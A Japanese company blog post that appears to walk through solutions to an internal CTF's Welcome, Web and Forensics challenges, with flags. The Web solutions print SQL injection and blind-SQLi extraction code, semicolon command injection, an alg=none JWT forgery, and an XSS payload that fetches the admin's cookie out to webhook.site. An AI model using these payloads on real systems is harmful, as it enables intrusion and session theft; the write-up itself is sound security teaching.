- その他
EXEOCTF2025 writeup(問題解説) Welcome/Web/Forensics編
printf("Hello, World!\n"); おはようございます。エクシオグループ株式会社 4年目エンジニアの二木です。
2026年3月3日に開催された、第一回社内ハッキングコンテスト EXEOCTF2025 の問題解説をしようと思います。
EXEOCTF2025に関する概要は、以下エクシオグループ公式サイトのニュースセクションでもご紹介させていただきました。ありがとうございます!
第1回社内ハッキングコンテスト「EXEOCTF2025」開催のご報告
https://www.exeo.co.jp/news/7821.html
問題解説ですが、出題数が50問弱と少し多いので、分野毎に分けて投稿していこうと思います。
今回はWelcome/Web/Forensicsカテゴリーの問題解説をします!
Welcomeカテゴリー
Welcome_to_EXEOCTF2025
| 出題カテゴリ | Welcome |
| 獲得ポイント | 0 |
| 想定難易度 | welcome |
| 正答チーム数 | 22/23, 正答率 95.65% |

ヒント
1.問題には一部を除きヒントが設定されています
2.無料で開けることができるので、問題に詰まったら使ってみてください
3.詰まったら運営スタッフに相談してみましょう きっと力になってくれふ… はず…
いやヒント3誤字ってるwww まぁだれも指摘しなかったのでセーフですね。
解法
Welcomeカテゴリーの練習問題です。問題文にフラグが記載されているので、これが答えとなります。
フラグ:flag{welcome_to_exeoctf2025!}
Introduction_1
| 出題カテゴリ | Welcome |
| 獲得ポイント | 0 |
| 想定難易度 | welcome |
| 正答チーム数 | 22/23, 正答率 95.65% |

解法
こちらのwelcomeカテゴリーの練習問題ですので、獲得ポイントは0です。
問題サーバへアクセスすると、以下のようなサイトが表示されます。

ブラウザの開発者ツールを用いて、HTMLコードを確認すると、、、
開発時のメモでしょうか?ログイン情報がコメントアウトされております。

上記ログインID、パスワードを入力しログインするとフラグが表示されます。

フラグ:flag{welcome_to_exeoctf2025!}
Introduction_2
| 出題カテゴリ | Welcome |
| 獲得ポイント | 0 |
| 想定難易度 | welcome |
| 正答チーム数 | 11/23, 正答率 47.83% |

ヒント情報
1.fileコマンドを使ってみよう。このファイルは本当にテキストファイルかな?
解法
配布ファイルをfileコマンドで調べてみます。

テキストファイルかと思いましたが、どうやら実体はPNGファイルっぽいですね。
拡張子を.pngに変更して、画像ファイルとして開いてみるとフラグが表示されました。

フラグ:flag{check_the_file_signature}
Webカテゴリー
Encoded_Taste
| 出題カテゴリー | Web |
| 獲得ポイント | 100 |
| 想定難易度 | Beginner |
| 正答チーム数 | 23/23, 正答率 100.00% |
ヒント情報
1.Webシステムによく利用されるエンコード方式っぽいぞ

解法
配布ファイルには、以下の様な文字列が書かれています。

文字列後半部に
==
これはwebシステムでよく利用されるBase64エンコード方式の特徴です。
CyberChefを用いて、Base64エンコードされた文字列をデコードすると、フラグが表示されます。

フラグ:flag{encoded_taste_20060304}
Hidden_in_Plain_Percent
| 出題カテゴリー | Web |
| 獲得ポイント | 100 |
| 想定難易度 | Beginner |
| 正答チーム数 | 23/23, 正答率 100.00% |
ヒント情報
1.文字列中に%が使用されているね

解法
配布ファイルを開きます。

なにやら中に%XXという形式の文字列が含まれていますね〜
問題文からも、ウェブでよく使われる”ある表現形式”とありますので、パーセントエンコーディングと予想できます。
CyberChefでデコードしてみましょう。

フラグ:flag{hidden_in_plain_percent_20250307}
Searching_for_Clues
| 出題カテゴリー | Web |
| 獲得ポイント | 200 |
| 想定難易度 | Easy |
| 正答チーム数 | 23/23, 正答率 100.00% |
ヒント情報
1.私はロボットです!

解法
問題サーバへアクセスします。

どうやらここには何もないみたいですね…
問題文に”検索エンジンにインデックスされないよう設定した”とあることから、robots.txt関連と推測できます。
問題サーバのrobots.txtにアクセスしてみます。

どうやら、/flag.html というページが検索エンジンにインデックスされないように設定されているみたいですね。
/flag.htmlへアクセスしてみます。

フラグ:flag{searching_for_clues_20260227}
Simple_Login_Bypass
| 出題カテゴリー | Web |
| 獲得ポイント | 200 |
| 想定難易度 | Easy |
| 正答チーム数 | 23/23, 正答率 100.00% |
ヒント情報
1.データベースへの問い合わせ処理で重大な脆弱性が潜んでいる?
2.管理者ということはユーザIDはadminあたりだろうか

解法
問題サーバへアクセスすると、シンプルなログインフォームが表示されます。

認証情報がわからないので、とりあえず適当なIDとパスワードで挙動を観察してみます。

丁寧に実行されたSQLが表示されていますね。
問題文に「動的プレースホルダー?なんですかそれは…」とあります。
動的プレースホルダーについてググってみると、どうやらSQLクエリ構築時に変数を動的にサーバ側でバインドして、SQLインジェクションを根本的に防ぐ〜といった記事がありました。
この問題はSQLインジェクションを用いて、管理者としてログインをする方向と推測できますね。管理者なので、IDはadminあたりでしょうか。
管理者IDをadminと仮定して、SQLインジェクションのペイロードを作成します。
admin’ or 1 = 1 –
これをログインページのユーザ名の部分に入力し、パスワード欄には適当な文字列を入れておきます。

フラグ:flag{simple_login_bypass_19840312}
Phantom_Address
| 出題カテゴリー | Web |
| 獲得ポイント | 300 |
| 想定難易度 | Medium |
| 正答チーム数 | 18/23, 正答率 78.26% |
ヒント情報
1.サーバ側ではどのように接続元IPを判断しているのだろうか
2.BurpSuiteやZAP Proxyを使うとHTTPリクエストを改ざんできるぞ
3.X-Forw…. おっと、だれかきたようd…

解法
問題サーバへアクセスすると、アクセス拒否の旨が表示されました。

うやら信頼された幻のネットワーク 1999.9.25.26 からのみ閲覧可能とのことです。
現在の接続元IPが表示されていることから、サーバ側でIPを識別していると推測できます。
ヒント3より “X-Forw…”とありますので、問題文の”IPアドレス”や”信頼”というワードを用いて、Google検索すると、MDN Web Docsにそれらしい情報がありました。
参考リンク:https://developer.mozilla.org/ja/docs/Web/HTTP/Reference/Headers/X-Forwarded-For

HTTPリクエスト時に”X-Forwarded-For”ヘッダーを付与し、値として幻のネットワーク “1999.9.25.26”を指定してあげれば、サーバを欺けそうですね。
BurpSuiteを用いて、Webリクエストをインターセプトし、ヘッダーを書き換えます。

HTTPヘッダーを改ざん(X-Forwarded-Forヘッダ付与)し、送信してみます。

フラグ:flag{phantom_address_20030308}
Ping_of_Secrets
| 出題カテゴリー | Web |
| 獲得ポイント | 300 |
| 想定難易度 | Medium |
| 正答チーム数 | 23/23, 正答率 100.00% |
ヒント情報
1.入力されたIPアドレスをSystemコマンドに渡しているみたいだ
2./flag.txt

解法
問題サーバへアクセスします。

試しに、127.0.0.1を入力しPINGを実行してみます。

ヒント1より、入力した値をそのままsystemコマンドへ渡していると予想できます。
Linuxのコマンドですが、”;”セミコロンで区切って次のコマンドを発行することができます。試しにlsコマンドを追加してみると,,,

なにやら、index.phpとか色々表示されてますね,,,
このwriteupはコンテスト終了後に、実際に二木が問題サーバへアクセスしていろいろ作業しているのですが、参加者の人がいろいろペイロード送ってたんですかね~ catとかtailとかとか いろいろありますねっ
ここまでで、セミコロンで区切ればOSコマンドインジェクションができると判明したので、本題のフラグがどこにあるのかを考えます。
ヒント2より、/flag.txt とあるので、ルートディレクトリ配下を探してみましょう。

ありましたね!
catコマンドでflag.txtの中身を出力させます。

フラグ:flag{ping_of_secrets_19940312}
【補足】

lsやらcatやらtailやらと、何やらファイルの中身を見ることができる系のコマンド名がありますね。
おそらく、参加者が生成AI等を用いて問題を解いている際に、ローカル上での権限昇格とかを試していたのかなぁと予想しています。
フラグが記載されているファイルもルートディレクトリ配下だったので、index.phpがある公開ディレクトリの権限を用いて、flag.txtにアクセスしようとしていたと、、、そんな感じでしょうかね〜
本問題では、そこまでの難易度を想定していないので、素直にOSコマンドインジェクションをすれば解けますヨ!
ただし、アプローチ方法としてはとても良いと思っております。すばらしいデスネ!
Silent_Token
| 出題カテゴリー | Web |
| 獲得ポイント | 300 |
| 想定難易度 | Medium |
| 正答チーム数 | 12/23, 正答率 52.17% |
ヒント情報
1.JWT認証
2.開発者が署名アルゴリズム毎に検証を行うロジックを独自に実装している...らしい none やね
3.role=admin になれないかなぁ

解法
問題サーバへアクセスすると、シンプルなログインフォームが表示されました。

今回はログイン処理に脆弱性がないか調査してほしいとのことです。
診断用のテストアカウントが払い出されているので、これを用いてログインしてみます。

管理者権限がないとのこと、、、
ヒント1より、JWT認証が使われているっぽいですね。
参考情報
https://www.jwt.io/ja/introduction#what-is-json-web-token
JWTはトークンベースの認証です。今回のウェブアプリでは、ログイン後に何かしらのセッション情報が含まれているはずなので、BurpSuiteでHTTP通信の中身を確認します。

テストアカウントでログイン後のHTTPリクエスト情報です。
Cookieヘッダにauth_tokenというトークンが付与されているのが確認できます。
ドットで区切られた文字列が値として指定されていますね。
問題文やヒント1からこれがJWTであるということがわかります。
このJWTをjwt.ioを使ってデコードし、中身(ヘッダ部、ペイロード部)を確認します。

ペイロード部にroleというkeyがありますね。ヒント3よりここをadminにしてあげれば、管理者としての権限でサイトへアクセスできそうです、、、が、、、
JWTでは、ヘッダ部とペイロード部とシークレットキーで電子署名をし、そのデータをシグネチャ部(つまりドットで区切られた3つめの署名部)にくっつけます。
つまり、ペイロード部を変更したら、もう一度電子署名を算出して付与する必要があるんですね。でも、それに必要なシークレットキーがわからない、、、

画像は以下よりお借りしました。
https://qiita.com/asagohan2301/items/cef8bcb969fef9064a5c
ここで、ヒント2を見てみると
「開発者が署名アルゴリズム毎に検証を行うロジックを独自に実装している…らしい none やね」
とありますね。独自に実装しているということは、検証ロジックに不備がありそうです。
ここをうまく活用すれば検証をバイパスできるかもしれません。
さらに、「noneやね」というのも気になりますね。
これらの情報をgoogle検索してみると、jwt alg=none attack という攻撃手法がヒットします。
参考情報(徳丸本書いた人の記事です)
https://qiita.com/ockeghem/items/cc0b8ab74f46834d055b
alg、つまり署名アルゴリズムにnoneを指定してあげると、署名なし状態になるため、ペイロード部をいろいろと改ざんできると、、、なるほど
試してみましょう。

jwt.ioで画像のようなJWTを生成します。このとき、algはnoneを選択してください。
右側のJWTをコピーして、BurpSuiteのauth_token = のところに設定し、リクエストを飛ばしてみます。
今回はリピーター機能を用いて改ざんリクエストを送信します。


レスポンスを確認するとフラグがありました!
フラグ:flag{silent_token_19860315}
Bliend_Seeker
| 出題カテゴリー | Web |
| 獲得ポイント | 400 |
| 想定難易度 | Hard |
| 正答チーム数 | 8/23, 正答率 34.78% |
ヒント情報
1.SUBSTR関数を用いると、カラムのn文字目からi文字数を抽出できる
2.SLEEPは使えないぞ
3.Boolean Based をうまく活用すること

解法
問題サーバにアクセスします。

文字列を入力して、それを検索し、ヒットするかしないかを表示してくれるアプリケーションのようです。
試しに、適当はフラグを入力して検索してみると、、、

まぁそうですよね。。。
配布ファイルを確認します。

secretsテーブルにidとflagというカラムがあるようですね。
このflagカラムにflag{dummy}という形式でフラグが格納されているっぽいです。
さて、今回は認証をバイパスではなく、フラグを特定する、つまりデータベースのflagカラムにある値を特定する必要がありますので、通常のSQLインジェクションは使えそうにありません。
ヒント1およびヒント3に出てくる”SUBSTR関数”、”Boolean Based”というワードをGoogle検索してみると、Boolean Based SQL Injectionという攻撃手法があるという情報がヒットしました。
データベースへクエリを発行し、その真偽値でDB内の情報を特定し抜き取る〜みたいな攻撃手法ですね。
SQL関連のエラー等がでないときに有効な攻撃手法です。
ヒント1の”SUBSTR関数〜”についてですが、SUBSTR関数は
SUBSTR(対象文字列、開始位置、切り出す長さ)
ということができる関数です。
これが使えるということは、DB内にあるフラグ文字列を一文字ずつ特定することが可能になります。
試しに、DB内のフラグがflag{hogehoge}という形式と仮定して、検証してみます。
以下に示すペイロードを送ってみましょう。
' OR (SELECT SUBSTR(flag, 1, 1) FROM secrets) = 'f' --

結果はcorrectとなりました。
"}"が出現するまで、上記のペイロードを回すスクリプトを構築し、フラグ取得を目指します。
import requests
import string
URL = "http://172.16.2.10:10001/api/check"
CHARS = string.ascii_lowercase + string.digits + "!_{}"
flag = ""
print("Extracting flag...")
for i in range(1, 50):
found = False
for c in CHARS:
payload = f"' OR (SELECT SUBSTR(flag, {i}, 1) FROM secrets) = '{c}' --"
response = requests.post(URL, json={"flag":payload})
if response.json().get("status") == "correct":
flag += c
print(f"Found:{flag}")
found = True
if c == "}":
print(f"Final Flag: {flag}")
exit()
break
if not found:
print("Finished or No more characters found......")
break

フラグ:flag{19890311}
Secure_Chat_V1
| 出題カテゴリー | Web |
| 獲得ポイント | 400 |
| 想定難易度 | Hard |
| 正答チーム数 | 6/23, 正答率 26.09% |
ヒント情報
1.管理者のcookieに秘密アリ!

解法
問題サーバへアクセスすると、以下のようなチャットアプリが表示されます。

試しに適当な文字列を入力し送信してみます。

問題文より、ここに書き込んだ内容を管理者ボットが見に来るみたいです。
ヒント1より、「管理者のcookieに秘密アリ」とありますので、管理者ボットがアクセスしたときのcookie情報にフラグが隠されていると推測できます。
さてさて、このチャットアプリですが、XSS攻撃対策はできているのでしょうか?
試しに、以下のペイロードを送信し javascript として展開されるか確認します。
<script>alert(1)</script>


javascriptが実行されましたね。
HTMLソースコードも確認してみると、サニタイズ等がされていないのがわかります。

今回の脆弱性は格納型クロスサイトスクリプティングですね。管理者ボットも同様にブラウザへアクセスするので、そちらでもペイロードが発火しているはずです。
ここまでのまとめです。
・チャットアプリには格納型クロスサイトスクリプティング(Stored XSS)の脆弱性がある
・管理者も閲覧をする
・ヒントよりフラグは管理者のcookieに格納されている可能性が高い
解法のアプローチとしては、
・javascriptでcookieを読み出す
・読み出したcookieを別途外部に用意した受信用サーバへ送信
・cookie情報を確認
といった感じとなります。
まず、javascriptでcookie情報を読み出すところですが、以下のペイロードが使用できます。
<script>document.cookie</script>
試しに、自分のcookieをalertメソッドで出力させてみましょう。

はい!ちゃんと発火していますね!
次に、読み出したcookieを外部サーバへ送信するのですが、世の中には便利なサイトがありましてですね、、、 webhook.site というものが存在します。
webhook.site は、ホスティングされたWebサイト上でWebhookの動作を確認したりデバッグを支援することができるツールです。
webhook.siteのURL:https://webhook.site/
アクセスすると、このように自分専用のインスタンスが払い出されます。
今回は、この自分専用インスタンス宛にcookie情報を送信する方向でいきます。

外部へのデータ送信ですが、今回はjavascriptのfetchメソッドを使用してみましょう。
ペイロードは
<script>fetch("https://webhook.site/{ここに自身に割り当てられたインスタンスID}?cookie="+document.cookie</script>
のようになります。
これで外部サーバへ、チャットにアクセスしこのペイロードを読み込んだブラウザのcookieが送信されます。
(通常のセキュア設計であれば、異なるオリジンにcookieが飛ぶみたいなことは弾かれます!今回はあえて脆弱に作りこまれている点に注意!)

少し待つと、管理者ボットがアクセスしたと同時に、webhook.site上に用意したインスタンスへ情報が送信されました。

フラグ:flag{secure_chat_v1_2150307}
Forensicsカテゴリー
PortScan_Footprints
| 出題カテゴリー | Forensics |
| 獲得ポイント | 200 |
| 想定難易度 | Easy |
| 正答チーム数 | 19/23, 正答率 82.61% |
ヒント情報
1.nmapのようなスキャンツールでは、SYN -> SYN/ACK でポート開放を判断している

解法
ポートスキャン時のパケットキャプチャファイルが与えられます。
先ずは、添付ファイルのpcapファイルをwiresharkで確認します。

問題文よりフラグは、flag{開いているポート番号}なので、wiresharkのフィルタリング機能を用いてポートを特定します。
ヒントにもあるように、SYN/ACKフラグで帰ってきているパケットを抽出すればいいので、フィルタリングには
tcp.flags.syn == 1 && tcp.flags.ack == 1
を指定します。

192.168.0.163からポートスキャンされてるっぽいですね〜
ここまで絞れたら、あとはInfoカラムに記載の番号を目grepで,,,
フラグ:flag{20,21,22,80,443,3306}
Tracking_Fraudulent_HTTP_Requests
| 出題カテゴリー | Forensics |
| 獲得ポイント | 200 |
| 想定難易度 | Easy |
| 正答チーム数 | 20/23, 正答率 86.96% |

解法
添付ファイルを確認します。今回もpcapファイルですのでwiresharkで開いて中を確認してみましょう。

ほとんどがHTTP通信のようです。問題文からも「あるwebアプリケーションが不正アクセスを,,,」とあるので、httpでフィルタリングします。
ここで、wiresharkの便利機能を紹介します。
wiresharkにはストリーム追跡機能というものがありまして、今回であれば、
wireshark上部タブの[分析] -> [追跡] -> [HTTP ストリーム]を選択すると、
以下のように関連する(対応する)パケットごとに情報を見ることができます。

HTTPストリームでは、クライアント ⇔ サーバ間のHTTP通信の中身をデコードして表示し、それを順番に追うことができます。便利ですね〜
上記画像ですと、上側の赤い部分がリクエスト、下側の青い部分がサーバからのレスポンスとなります。

ストリームを1進めてみます。
どうやら、簡易ログインシステムというサイトへPOSTメソッドでID、パスワードを送信していますね。
問題文より、攻撃者が盗み出した認証情報とあるので、ログイン成功時のパスワードが特定できればよさそうです。どんどんストリームを進めて確認しましょう。
HTTPストリーム 16 のやりとりにて、ログイン成功していました。

フラグ:flag{S3cur3P@ssw0rd2025}
Hidden_Evidence
| 出題カテゴリー | Forensics |
| 獲得ポイント | 300 |
| 想定難易度 | Medium |
| 正答チーム数 | 4/23, 正答率 17.39% |
ヒント情報
1.ファイルを削除しても、データはすぎには消えない
2.Autopsy, PhotoRec, FTK Imager ...
3.ROT13

解法
配布ファイルを確認します。

問題分にもある通り、USBメモリのディスクイメージのようです。
削除されたファイル~とあるので、フォレンジックツールを用いてディスクイメージの中を覗いてみましょう。
今回は、FTK Imager を用いてディスクイメージの解析をします。
Autopsy等でもできるので、お好きなツールでやってみてください。

サイズ8GBのUSBのようですね。

rootディレクトリ配下のファイルを確認すると、バツ印のついたflag.txtというのがありました。
FTK Imagerでは削除されたファイルはバツ印がつきます。クリックして中身を確認してみます

なにやらフラグっぽいものが書いてありますね。
ヒント3よりROT13で暗号化されていると推測できるので、これをCyberChefでデコードして、、

フラグ:flag{D3l3t3d_But_N0t_G0n3}
Hidden_Cargo
| 出題カテゴリー | Forensics |
| 獲得ポイント | 400 |
| 想定難易度 | Hard |
| 正答チーム数 | 12/23, 正答率 52.17% |
ヒント情報
1.HTTP通信とのことだ。プロトコルでフィルタリングしてみよう
2.ただのテキストファイルではなさそうです。。。これは。。。PK???

解法
添付ファイルをwiresharkで開きます。

問題分より、HTTP通信で情報が流出〜とあるので、HTTPストリーム機能を用いて通信内容を確認してましょう。

ファイルアップロード機能が実装されたウェブサイトのようですね。
ファイルアップロード時の通信もありそうなので、ストリームを進めます。

最後のストリームで、ファイルアップロードの通信が確認できました。
ファイル:secret.zip をアップロードしたようですね。
この問題のアプローチとしては
1.アップロード時のファイルデータを抽出
2.zipファイルなので、解凍
3.中身のファイルを取り出す
という方向でいきます。
まずは、アップロード時のデータ抽出ですね。

”としてデータを表示”という部分を Raw(無加工)形式にすると、上記のようなバイナリ表記になります。
クライアントのアップロード情報は前半の赤い部分なので、これをまるごとコピーし、cyberchefに貼り付けます。

FromHexモジュールでデコードした状態です。
ファイルデータ部分は、

ここですね。先頭がPKとなっているため、zipファイルとわかります。
(HTTPストリームのファイル名からも secret.zip というのがわかる)
zipファイルデータ部以外はいらないので、削除します。


これを上図の右上の保存ボタンをクリックして、適当なファイル名で保存します。
今回は secret.zip として保存しました。

解凍うると、flag.txtというファイルがでてきましたね!
中身はbase64っぽいので、cyberchef でデコードしてやります。

フラグ:flag{hidden_cargo_0392837}